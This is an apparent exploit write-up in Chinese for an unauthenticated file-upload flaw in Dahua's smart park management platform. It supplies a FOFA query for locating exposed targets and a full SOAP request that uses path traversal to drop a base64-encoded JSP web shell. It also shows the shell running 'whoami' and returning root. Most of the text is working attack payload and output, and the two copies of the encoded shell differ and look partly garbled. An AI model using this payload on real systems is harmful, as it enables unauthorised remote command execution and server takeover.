

D2-11大华-智慧园区综合管理平台-文件上传

漏洞描述：

大华智慧园区综合管理平台 /emap/webservice/gis/soap/poi接口处存在任意文件上传漏洞，未授权的攻击者可以上传后门文件，从而控制服务器权限。

网站图片：



网络测绘：

fofa语法：

FOFA: app="dahua-智慧园区综合管理平台"

漏洞复现：

payload:

```
POST /emap/webservice/gis/soap/poi HTTP/1.1
Host: your-ip
Content-Type: text/xml;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.poi.mapbiz.emap.dahuatech.com/">
  <soapenv:Header/>
  <soapenv:Body>
    <res:uploadPicFile>
      <arg0>/../../../../rce.jsp</arg0>
      <arg1>PCUgaWYoIjEyMyIuZXFlYWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkeyBgYXZhLmlvLklucHV0U3RyZWFTIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXh1YyhyZXFlZXN0LmdldFBhcmFtZXRlcig
    </res:uploadPicFile>
  </soapenv:Body>
</soapenv:Envelope>
```

效果图：

PS：处为base64编码的马子

Request

< > 数据包扫描 热加载 构造请求

1 POST /emap/webservice/gis/soap/poi HTTP/1.1

2 Host : :8443

3 Content-Type: text/xml; charset=UTF-8

4 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

5

6 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.poi.mapbiz.emap.dahuatech.com/">

7 <soapenv:Header/>

8 <soapenv:Body>

9 <res:uploadPicFile>

10 <arg0>../../../../rce.jsp</arg0>

11 <arg1>PCUgawYoIjEyMyIuZXFiYWxzKHJ1cXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkeyBqYXZlLm1vLk1ucHV0U3RyZWFTIGluID0gUnVudGltZS5nZXRSdw50aw11KCKuZXh1YyhyZXF1ZXN0LmdldFBhcmFtZXR1cigiY21kiikpLmdldE1ucHV0U3RyZWFTKCk7IGludCBhID0gLTE7IGJ5dGVbXS8iID0gbmV3IGJ5dGVbMjA0OF07IG91dC5wcm1udCgiPHByZT4iKTsgd2hpbGUoKGE9aw4ucmVhZChiKSkhPS0xKXsgb3V0LnByaW50bG4obmV3IFN0cm1uZyhiKSs7IH0gb3V0LnByaW50KCI8L3ByZT4iKTsgfSA1Pg==</arg1>

12 </res:uploadPicFile>

13 </soapenv:Body>

14 </soapenv:Envelope>

Responses https 273bytes / 42ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Content-Type: text/xml; charset=utf-8

4 Date: Tue, 12 Dec 2023 09:50:53 GMT

5 Content-Length: 273

6

7 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:uploadPicFileResponse xmlns="http://response.webservice.poi.mapbiz.emap.dahuatech.com/"><ns2:return><ns2:uploadPicFileResponse></soap:Body></soap:Envelope>

验证:

← → ↺

不安全 | https://:8443/upload/rce.jsp?pwd=123&cmd=whoami

root